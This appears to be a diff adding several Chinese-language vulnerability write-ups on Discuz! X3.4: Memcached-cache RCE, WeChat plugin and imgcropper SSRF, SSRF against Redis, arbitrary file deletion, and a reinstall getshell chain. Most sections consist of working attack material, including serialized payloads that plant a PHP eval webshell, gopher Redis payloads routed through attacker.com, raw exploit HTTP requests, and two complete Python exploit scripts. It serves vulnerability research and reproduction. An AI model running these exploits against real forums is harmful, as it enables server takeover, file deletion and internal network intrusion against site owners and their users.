$payload['output']['preg']['search']['plugins']= "/.*/";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval(\$_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:4:"/.*/";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}
![](./resource/Discuz!X3.4Memcached未授权访问导致的rce/media/rId32.png)
访问:**forum.php?mod=ajax&inajax=yes&action=getthreadtypes**
![](./resource/Discuz!X3.4Memcached未授权访问导致的rce/media/rId33.png)
最后一定要恢复缓存
Delete Vtfbsm\_setting
成功写入文件
![](./resource/Discuz!X3.4Memcached未授权访问导致的rce/media/rId34.png)
参考链接
--------
> https://xz.aliyun.com/t/2018

View File

@ -0,0 +1,70 @@
Discuz! X3.4 Weixin Plugin ssrf
===============================
一、漏洞简介
------------
二、漏洞影响
------------
Discuz! X3.4
三、复现过程
------------
`source/plugin/wechat/wechat.class.php` `WeChat``syncAvatar`方法:
static public function syncAvatar($uid, $avatar) {
if(!$uid || !$avatar) {
return false;
}
if(!$content = dfsockopen($avatar)) {
return false;
}
$tmpFile = DISCUZ_ROOT.'./data/avatar/'.TIMESTAMP.random(6);
file_put_contents($tmpFile, $content);
if(!is_file($tmpFile)) {
return false;
}
$result = uploadUcAvatar::upload($uid, $tmpFile);
unlink($tmpFile);
C::t('common_member')->update($uid, array('avatarstatus'=>'1'));
return $result;
}
`source/plugin/wechat/wechat.inc.php`
中调用了`WeChat::syncAvatar`,直接用`$_GET['avatar']`作为参数传进去:
......
elseif(($ac == 'register' && submitcheck('submit') || $ac == 'wxregister') && $_G['wechat']['setting']['wechat_allowregister']) {
......
$uid = WeChat::register($_GET['username'], $ac == 'wxregister');
if($uid && $_GET['avatar']) {
WeChat::syncAvatar($uid, $_GET['avatar']);
}
}
不过因为这里用到了微信登录的插件,所以要利用的话需要目标站开启微信登录:
![](./resource/Discuz!X3.4WeixinPluginssrf/media/rId24.png)
这里 SSRF 的构造很简单,直接在`avatar`参数构造 url
即可(只是注意`wxopenid`参数每次请求都要足够随机保证没有重复,如果重复的话代码是无法走到发起请求的逻辑的):
### poc
http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http://localhost:9090/dz-weixin-plugin-ssrf&wxopenid=dont_be_evil
![](./resource/Discuz!X3.4WeixinPluginssrf/media/rId26.png)

Binary file not shown.

After

Width:  |  Height:  |  Size: 268 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 158 KiB

View File

@ -0,0 +1,122 @@
Discuz! X3.4 imgcropper ssrf
============================
一、漏洞简介
------------
对 PHP、curl 版本都有特殊的要求,而且要服务端环境接受空 Host
的请求,总的来说比较鸡肋
二、漏洞影响
------------
三、复现过程
------------
`source/class/class_image.php` `image``init`方法:
function init($method, $source, $target, $nosuffix = 0) {
global $_G;
$this->errorcode = 0;
if(empty($source)) {
return -2;
}
$parse = parse_url($source);
if(isset($parse['host'])) {
if(empty($target)) {
return -2;
}
$data = dfsockopen($source);
$this->tmpfile = $source = tempnam($_G['setting']['attachdir'].'./temp/', 'tmpimg_');
if(!$data || $source === FALSE) {
return -2;
}
file_put_contents($source, $data);
}
......
}
再找哪些地方调用了`image`类的`init`方法,发现`image`类的`Thumb``Cropper``Watermark`方法都调用了`init`。比如`Thumb`
function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) {
$return = $this->init('thumb', $source, $target, $nosuffix);
......
}
所以再找哪些地方调用了`image`类的`Thumb`方法,最终发现:
`source/module/misc/misc_imgcropper.php` 52-57行
require_once libfile('class/image');
$image = new image();
$prefix = $_GET['picflag'] == 2 ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl'];
if(!$image->Thumb($prefix.$_GET['cutimg'], $cropfile, $picwidth, $picheight)) {
showmessage('imagepreview_errorcode_'.$image->errorcode, null, null, array('showdialog' => true, 'closetime' => true));
}
下断点调试发现 `$_G['setting']['ftp']['attachurl']` 的值为 `/`,而
`$_G['setting']['attachurl']` 的值是 `data/attachment/`。所以似乎
`$prefix``/` 才有 SSRF 利用的可能。
一开始构造 `cutimg=/10.0.1.1/get`,这样 `$url` 的值就为
`//10.0.1.1/get`,按道理来说这应该算是一个正常的
url但是结果却请求失败了。
仔细跟进 `_dfsockopen` 发现,在 PHP 环境安装有 cURL 时,进入 curl
处理的代码分支,直到这里:
curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);
`$scheme``$host``$port``$path` 都是 `parse_url` 解析 url
参数后的对应的值,而对像 `//10.0.1.1/get` 这样的 url 解析时,`$scheme`
的值是 `null`,因此最后拼接的结果是 `://10.0.1.1/get`没有协议curl
最后对这种url的请求会自动在前面加上 `HTTP://`,结果就变成了请求
`HTTP://://10.0.1.1/get`,这种 url 在我的环境中会导致 curl 报错。
所以我去掉了 curl 扩展,让 `_dfsockopen` 函数代码走 socket
发包的流程,踩了 `parse_url` 和 Dz
代码的一些坑点(这里就不展开了,有兴趣的同学调下代码就知道了),最后发现像这样构造可以成功:
cutimg=/:@localhost:9090/dz-imgcropper-ssrf
poc:
POST /misc.php?mod=imgcropper&picflag=2&cutimg=/:@localhost:9090/dz-imgcropper-ssrf HTTP/1.1
Host: ubuntu-trusty.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: xkmD_2132_sid=E5sbVr; xkmD_2132_saltkey=m6Y8022s; xkmD_2132_lastvisit=1521612483; xkmD_2132_lastact=1521624907%09misc.php%09imgcropper; xkmD_2132_home_readfeed=1521616105; xkmD_2132_seccode=1.ecda87c571707d3f92; xkmD_2132_ulastactivity=a0f4A9CWpermv2t0GGOrf8%2BzCf6dZyAoQ3Sto7ORINqJeK4g3xcX; xkmD_2132_auth=40a4BIESn2PZVmGftNQ2%2BD1ImxpYr0HXke37YiChA2ruG6OryhLe0bUg53XKlioysCePIZGEO1jmlB1L4qbo; XG8F_2132_sid=fKyQMr; XG8F_2132_saltkey=U7lxxLwx; XG8F_2132_lastvisit=1521683793; XG8F_2132_lastact=1521699709%09index.php%09; XG8F_2132_ulastactivity=200fir8BflS1t8ODAa3R7YNsZTQ1k262ysLbc9wdHRzbPnMZ%2BOv7; XG8F_2132_auth=3711UP00sKWDx2Vo1DtO17C%2FvDfrelGOrwhtDmwu5vBjiXSHuPaFVJ%2FC%2BQi1mw4v4pJ66jx6otRFKfU03cBy; XG8F_2132_lip=172.16.99.1%2C1521688203; XG8F_2132_nofavfid=1; XG8F_2132_onlineusernum=3; XG8F_2132_sendmail=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
imgcroppersubmit=1&formhash=f8472648
此时 url 即为`//:@localhost:9090/dz-imgcropper-ssrf`。SSRF 请求成功:
![](./resource/Discuz!X3.4imgcropperssrf/media/rId24.png)
通过这种方式进行构造利用的话,不太需要额外的限制条件(只要求服务端 PHP
环境没有安装 curl 扩展),但是只能发 HTTP GET
请求,并且服务端不跟随跳转。漏洞危害有限。
后来 l3m0n 师傅也独立发现了这个漏洞,并且他发现较高版本的 curl
是可以成功请求 `HTTP://:/` 的,较高版本的 curl 会将这种 url 地址解析到
127.0.0.1 的 80 端口:
![](./resource/Discuz!X3.4imgcropperssrf/media/rId25.jpg)
最后他再利用之前 PHP `parse_url` 的解析 bug
[https://bugs.php.net/bug.php?id=73192](https://link.zhihu.com/?target=https%3A//bugs.php.net/bug.php%3Fid%3D73192)
),及利用 `parse_url` 和 curl 对 url 的解析差异,成功进行 302
跳转到任意恶意地址,最后再 302 跳转到 gopher
就做到发送任意数据包。详情可以参考 l3m0n 的博客:
[Discuz x3.4前台SSRF - l3m0n -
博客园](https://link.zhihu.com/?target=https%3A//www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html)
但是这种利用方式对 PHP、curl 版本都有特殊的要求,而且要服务端环境接受空
Host 的请求。总的来说imgcropper SSRF 仍然比较鸡肋。

Binary file not shown.

After

Width:  |  Height:  |  Size: 162 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 203 KiB

View File

@ -0,0 +1,48 @@
Discuz! X3.4 ssrf 攻击redis
===========================
一、漏洞简介
------------
需要得到authkey
二、漏洞影响
------------
Discuz x3.4
三、复现过程
------------
类似地Dz 整合 Redis
配置成功后,默认情况下网站首页右下角会出现`Redis On`的标志:
![](./resource/Discuz!X3.4ssrf攻击redis/media/rId24.jpg)
SSRF 攻击 Redis 步骤实际上就比攻击 Memcache 简单了,因为 Redis 支持 lua
脚本,可以直接用 lua
脚本获取缓存键名而无需再去猜解前缀。当然能成功攻击的前提是 Redis
没有配置密码认证Discuz requirepass 那一项为空:
![](./resource/Discuz!X3.4ssrf攻击redis/media/rId25.jpg)
Redis 交互命令行执行 lua 脚本:
eval "local t=redis.call('keys','*_setting'); for i,v in ipairs(t) do redis.call('set', v, 'a:2:{s:6:\"output\";a:1:{s:4:\"preg\";a:2:{s:6:\"search\";a:1:{s:7:\"plugins\";s:4:\"/.*/\";}s:7:\"replace\";a:1:{s:7:\"plugins\";s:9:\"phpinfo()\";}}}s:13:\"rewritestatus\";i:1;}') end; return 1;" 0
![](./resource/Discuz!X3.4ssrf攻击redis/media/rId26.jpg)
同样地,对这个过程抓包,将数据包改成 gopher 的形式:
gopher://localhost:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24264%0d%0alocal%20t%3Dredis.call('keys'%2C'*_setting')%3B%20for%20i%2Cv%20in%20ipairs(t)%20do%20redis.call('set'%2C%20v%2C%20'a%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D')%20end%3B%20return%201%3B%0d%0a%241%0d%0a0%0d%0a
SSRF 利用:
http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%2F%2Fattacker.com%2F302.php%3Furl%3DZ29waGVyOi8vbG9jYWxob3N0OjYzNzkvXyozJTBkJTBhJTI0NCUwZCUwYWV2YWwlMGQlMGElMjQyNjQlMGQlMGFsb2NhbCUyMHQlM0RyZWRpcy5jYWxsKCdrZXlzJyUyQycqX3NldHRpbmcnKSUzQiUyMGZvciUyMGklMkN2JTIwaW4lMjBpcGFpcnModCklMjBkbyUyMHJlZGlzLmNhbGwoJ3NldCclMkMlMjB2JTJDJTIwJ2ElM0EyJTNBJTdCcyUzQTYlM0ElMjJvdXRwdXQlMjIlM0JhJTNBMSUzQSU3QnMlM0E0JTNBJTIycHJlZyUyMiUzQmElM0EyJTNBJTdCcyUzQTYlM0ElMjJzZWFyY2glMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E0JTNBJTIyJTJGLiolMkYlMjIlM0IlN0RzJTNBNyUzQSUyMnJlcGxhY2UlMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E5JTNBJTIycGhwaW5mbygpJTIyJTNCJTdEJTdEJTdEcyUzQTEzJTNBJTIycmV3cml0ZXN0YXR1cyUyMiUzQmklM0ExJTNCJTdEJyklMjBlbmQlM0IlMjByZXR1cm4lMjAxJTNCJTBkJTBhJTI0MSUwZCUwYTAlMGQlMGE%253D&wxopenid=xxxyyyzzz
代码即再次执行成功。
参考链接
--------
> https://zhuanlan.zhihu.com/p/51907363

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 312 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 86 KiB

View File

@ -0,0 +1,119 @@
Discuz! X3.4 任意文件删除漏洞
=============================
一、漏洞简介
------------
二、漏洞影响
------------
影响版本Discuz!x ≤3.4
三、复现过程
------------
### 漏洞分析
Discuz!X的码云已经更新修复了该漏洞
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
核心问题在`upload/source/include/spacecp/spacecp_profile.php`
![](./resource/Discuz!X3.4任意文件删除漏洞/media/rId25.png)
跟入代码70行
if(submitcheck('profilesubmit')) {
当提交profilesubmit时进入判断跟入177行
![](./resource/Discuz!X3.4任意文件删除漏洞/media/rId26.png)
我们发现如果满足配置文件中某个formtype的类型为file我们就可以进入判断逻辑这里我们尝试把配置输出出来看看
![](./resource/Discuz!X3.4任意文件删除漏洞/media/rId27.png)
我们发现formtype字段和条件不符这里代码的逻辑已经走不进去了
我们接着看这次修复的改动可以发现228行再次引入语句unlink
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
回溯进入条件
![](./resource/Discuz!X3.4任意文件删除漏洞/media/rId28.png)
当上传文件并上传成功即可进入unlink语句
![](./resource/Discuz!X3.4任意文件删除漏洞/media/rId29.png)
然后回溯变量`$space[$key]`,不难发现这就是用户的个人设置。
只要找到一个可以控制的变量即可这里选择了birthprovince。
在设置页面直接提交就可以绕过字段内容的限制了。
![](./resource/Discuz!X3.4任意文件删除漏洞/media/rId30.png)
成功实现了任意文件删除
### 漏洞复现
访问`http://your-ip/robots.txt`可见robots.txt是存在的
![](./resource/Discuz!X3.4任意文件删除漏洞/media/rId32.png)
注册用户后在个人设置页面找到自己的formhash
![](./resource/Discuz!X3.4任意文件删除漏洞/media/rId33.png)
带上自己的Cookie、formhash发送如下数据包
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态:
![](./resource/Discuz!X3.4任意文件删除漏洞/media/rId34.png)
说明我们的脏数据已经进入数据库了。
然后,新建一个`upload.html`,代码如下,将其中的`[your-ip]`改成discuz的域名`[form-hash]`改成你的formhash
<body>
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
用浏览器打开该页面,上传一个正常图片。此时脏数据应该已被提取出,漏洞已经利用结束。
再次访问`http://your-ip/robots.txt`,发现文件成功被删除:
![](./resource/Discuz!X3.4任意文件删除漏洞/media/rId35.png)

Binary file not shown.

After

Width:  |  Height:  |  Size: 267 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 162 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 235 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 238 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 346 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

View File

@ -0,0 +1,245 @@
Discuz! X3.4 任意文件删除配合install过程getshell
================================================
一、漏洞简介
------------
\*\*可以利用的条件:\*\*1、安装后没有登录后台此时install/index还没删除
2、因为其他原因没有删除
二、漏洞影响
------------
Discuz! X3.4
三、复现过程
------------
### 漏洞分析
这个方法是看到一篇博客分析的,主要是利用文件删除漏洞删掉`install.lock`文件绕过对安装完成的判断能够再进行安装的过程然后再填写配置信息处构使用构造的表前缀名时一句话写入配置文件中getshell。
表前缀:`x');@eval($_POST[lanvnal]);('`
但是我在使用上面版本v3.4的代码时发现,安装后`install`目录下不存在`index.php`了。分析代码发现会有安装后的删除处理,在`/source/admincp/admincp_index.php`的第14行
if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) {
@unlink(DISCUZ_ROOT.'./install/index.php');
if(@file_exists(DISCUZ_ROOT.'./install/index.php')) {
dexit('Please delete install/index.php via FTP!');
}
}
那是不是老版本存在该问题呢?
我翻了历史版本代码直到git提交的第一个版本都有如上的处理。
但还是分析一下吧,就当学习了。
\*\*可以利用的条件:\*\*1、安装后没有登录后台此时install/index还没删除
2、因为其他原因没有删除
分析一下安装逻辑,`install/index.php`文件的整体流程如下:
![](./resource/Discuz!X3.4任意文件删除配合install过程getshell/media/rId25.png)
分别是我们安装的每一步,接受协议-\>环境检测-\>是否安装 UCenter
Server-\>数据库配置信息-\>安装过程生成lock文件-\>检查
问题出在在 `db_init` 的处理中在代码第369行
if(DZUCFULL) {
install_uc_server();
}
跟进`install_uc_server`在1296行可以发现对config参数没做任何过滤传入到`save_uc_config`中:
save_uc_config($config, ROOT_PATH.'./config/config_ucenter.php');
然后`save_uc_config`也没做任何安全处理,就拼接参数后写入文件:
function save_uc_config($config, $file) {
$success = false;
list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = $config;
$link = function_exists('mysql_connect') ? mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1) : new mysqli($ucdbhost, $ucdbuser, $ucdbpw, $ucdbname);
$uc_connnect = $link ? 'mysql' : '';
$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
$year = date('Y');
$config = <<<EOT
<?php
define('UC_CONNECT', '$uc_connnect');
define('UC_DBHOST', '$ucdbhost');
define('UC_DBUSER', '$ucdbuser');
define('UC_DBPW', '$ucdbpw');
define('UC_DBNAME', '$ucdbname');
define('UC_DBCHARSET', '$ucdbcharset');
define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre');
define('UC_DBCONNECT', 0);
define('UC_CHARSET', '$uccharset');
define('UC_KEY', '$appauthkey');
define('UC_API', '$ucapi');
define('UC_APPID', '$appid');
define('UC_IP', '$ucip');
define('UC_PPP', 20);
?>
EOT;
if($fp = fopen($file, 'w')) {
fwrite($fp, $config);
fclose($fp);
$success = true;
}
return $success;
}
因为 `dbhost, dbuser`等参数需要用来连接数据库,所以利用 `tablepre`
向配置文件写入shell。
### 漏洞复现
如果安装后`install/index.php`因为某些原因还存在,直接访问会有如下警告:
![](./resource/Discuz!X3.4任意文件删除配合install过程getshell/media/rId27.png)
通过文件删除漏洞删除data目录下的`install.lock`文件就可以重新安装。
安装过程修改表前缀内容为:`x');@eval($_POST[lanvnal]);('`
![](./resource/Discuz!X3.4任意文件删除配合install过程getshell/media/rId28.png)
`config/config_ucenter.php`中已经写入了webshell。
![](./resource/Discuz!X3.4任意文件删除配合install过程getshell/media/rId29.png)
![](./resource/Discuz!X3.4任意文件删除配合install过程getshell/media/rId30.png)
### poc
#!/usr/bin/env python3
import base64
import random
import re
import string
import requests
sess = requests.Session()
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))
##################################################
########## Customize these parameters ############
target = 'http://localhost/discuzx'
# login target site first, and copy the cookie here
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode"
shell_password = randstr()
db_host = ''
db_user = ''
db_pw = ''
db_name = ''
#################################################
path = '/home.php?mod=spacecp&ac=profile&op=base'
url = target + path
sess.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer': url})
# sess.proxies.update({'http': 'socks5://localhost:1080'})
# sess.proxies.update({'http': 'http://localhost:8080'})
def login(username=None, password=None):
sess.headers.update({'Cookie': cookie})
def get_form_hash():
r = sess.get(url)
match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I)
if match:
return match.group(1)
def tamper(formhash, file_to_delete):
data = {
'formhash': (None, formhash),
'profilesubmit': (None, 'true'),
'birthprovince': (None, file_to_delete)
}
r = sess.post(url, files=data)
if 'parent.show_success' in r.text:
print('tamperred successfully')
return True
def delete(formhash, file):
if not tamper(formhash, file):
return False
image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
data = {
'formhash': formhash,
'profilesubmit': 'true'
}
files = {
'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
}
r = sess.post(url, data=data, files=files)
if 'parent.show_success' in r.text:
print('delete {} successfully'.format(file))
return True
def getshell():
install_url = target + '/install/index.php'
r = sess.get(install_url)
if '安装向导' not in r.text:
print('install directory not exists')
return False
table_prefix = "x');@eval($_POST[{}]);('".format(shell_password)
data = {
'step': 3,
'install_ucenter': 'yes',
'dbinfo[dbhost]': db_host,
'dbinfo[dbname]': db_name,
'dbinfo[dbuser]': db_user,
'dbinfo[dbpw]': db_pw,
'dbinfo[tablepre]': table_prefix,
'dbinfo[adminemail]': 'admin@admin.com',
'admininfo[username]': 'admin',
'admininfo[password]': 'admin',
'admininfo[password2]': 'admin',
'admininfo[email]': 'admin@admin.com',
}
r = sess.post(install_url, data=data)
if '建立数据表 CREATE TABLE' not in r.text:
print('write shell failed')
return False
print('shell: {}/config/config_ucenter.php'.format(target))
print('password: {}'.format(shell_password))
if __name__ == '__main__':
login()
form_hash = get_form_hash()
if form_hash:
delete(form_hash, '../../../data/install.lock')
getshell()
else:
print('failed')
参考链接
--------
> https://xz.aliyun.com/t/7492\#toc-7

View File

@ -0,0 +1,136 @@
Discuz! X3.4 前台ssrf
=====================
一、漏洞简介
------------
DDiscuz! X3.4
source/module/misc/misc\_imgcropper.php页面中的cutimg参数因为应用程序的远程下载功能过滤不严配合前台任意URL跳转漏洞可以造成SSRF漏洞可以对与外部隔离的内部环境进行探测和攻击
二、漏洞影响
------------
- \<= x3.4
- windows
- php\>5.3+php-curl\<=7.54
- DZ开放在80端口
三、复现过程
------------
### 漏洞分析
**本地ssrf**
/source/module/misc/misc\_imgcropper.php 55行
require_once libfile('class/image'); $image = new image(); $prefix = $_GET['picflag'] == 2 ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl']; if(!$image->Thumb($prefix.$_GET['cutimg'], $cropfile, $picwidth, $picheight)) { showmessage('imagepreview_errorcode_'.$image->errorcode, null, null, array('showdialog' => true, 'closetime' => true)); }
$prefix`可以通过GET传递`$_GET['picflag']`为2进行三元操作变成了默认的`/`,然后和`$_GET['cutimg']`进行拼接作为第一个参数传进了`$image->Thumb
source/class/class\_image.php 51行
function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) { $return = $this->init('thumb', $source, $target, $nosuffix); }
拼接后的参数作为`$source`又传进了init函数
source/class/class\_image.php 118行
function init($method, $source, $target, $nosuffix = 0) { global $_G; $this->errorcode = 0; if(empty($source)) { return -2; } $parse = parse_url($source); if(isset($parse['host'])) { if(empty($target)) { return -2; } $data = dfsockopen($source); $this->tmpfile = $source = tempnam($_G['setting']['attachdir'].'./temp/', 'tmpimg_'); if(!$data || $source === FALSE) { return -2; } file_put_contents($source, $data); }
可以发现如果`$source`经过`parse_url`的解析结果中如果包含host字段就不结束流程然后将`$source`参数传入`dfsockopen`函数。Php中的`parse_url`函数是可以对`//`开头的域名进行解析的,
`$source`本身就是`/`开头,因此只需要通过开始的`$_GET['cutimg']`注入`/www.0-sec.org变成`//www.0-sec.org\`即可继续执行。
![](./resource/Discuz!X3.4前台ssrf/media/rId25.png)
source/function/function\_core.php 199行
function dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype = 'URLENCODE', $allowcurl = TRUE, $position = 0, $files = array()) { require_once libfile('function/filesock'); return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout, $block, $encodetype, $allowcurl, $position, $files);}
进入dfsockopen函数后我们构造的字符串变为\$url然后传入了\_dfsockopen函数。
dz/source/function/function\_filesock.php 31行
image
发起了curl请求就是这里触发了ssrf这里的现有使用后parse\_url解析了一次\$url和上面的解析是一样的然后又进行了拼接成为了curl的地址。
![](./resource/Discuz!X3.4前台ssrf/media/rId26.png)
其\$scheme为空如果我们为cutimg传入/dz//member.php那么到就会变成://dz//member.php
![](./resource/Discuz!X3.4前台ssrf/media/rId27.png)
在php的curl中我们尝试访问://dz/forum.php
![](./resource/Discuz!X3.4前台ssrf/media/rId28.png)
可以发现无指定协议的默认就是http协议://是代表访问本地dz/forum.php表示路径和path因此能够访问首页到这里就有了一个可以对通网站下进行ssrf的漏洞点。
Curl的配置当中开启了跳转
![](./resource/Discuz!X3.4前台ssrf/media/rId29.png)
再找到一个站内的url跳转就能绕过站内curl的限制实现真正的ssrf。
### 前台任意url跳转
/source/class/class\_member.php 310行
![](./resource/Discuz!X3.4前台ssrf/media/rId31.png)
调用了dreferer()结果作为跳转地址,继续跟进该函数。
source/function/function\_core.php 1498行
![](./resource/Discuz!X3.4前台ssrf/media/rId32.png)
`$_G['referer']`这个参数我们可控,同样使用了`parse_url`进行了解析,首先对协议进行了判断,需要属于`http/https`
然后又对host字段和`$_SERVER['HTTP_HOST']`进行了对比判断是否在同一个域名下因为攻击中是通过curl发起的请求\$\_SERVER\['HTTP\_HOST'\]此时为空但是和www.进行了,因此这里域名为`www.`即可绕过判断成功注入location字段
此时处理跳转的是php的curlcurl这里会因为`#@`出现解析问题会跳转到192.168.2.63:6666也就是形成ssrf。
![](./resource/Discuz!X3.4前台ssrf/media/rId33.png)
站内ssrf-\>前台get型的任意url跳转-\>ssrf漏洞
**总结**
因为应用程序的远程下载功能过滤不严利用php中的parse\_url还有curl解析特性配合前台任意URL跳转漏洞可以造成SSRF漏洞。
### poc
htp://www.0-sec.org/code-src/dz/Discuz_TC_BIG5/upload/member.php?mod=logging&action=logout&XDEBUG_SESSION_START=13904&referer=http://localhost%23%40www.baidu.com&quickforward=1
### python 脚本
# coding=utf-8
import requests
import re
from urllib.parse import urlparse, quote
from urllib import parse
if __name__ == "__main__":
url = "http://192.168.66.129/dz/"
ssrf_target = "192.168.0.36:6666"
path = urlparse(url).path
payload = quote(
"/member.php?mod=logging&action=logout&quickforward=1&referer=http://www.%23%40{ssrf_target}".format(
ssrf_target=ssrf_target))
s = requests.Session()
html = s.get(url).text
searchObj = re.search(r'name="formhash" value="(.*?)"', html, re.M | re.I)
formhash = searchObj.group(1)
rs = s.post(
url + "misc.php?mod=imgcropper&imgcroppersubmit=1&formhash={formhash}&picflag=2&cutimg={path}{payload}".format(
formhash=formhash, path=path, payload=payload))
exit()
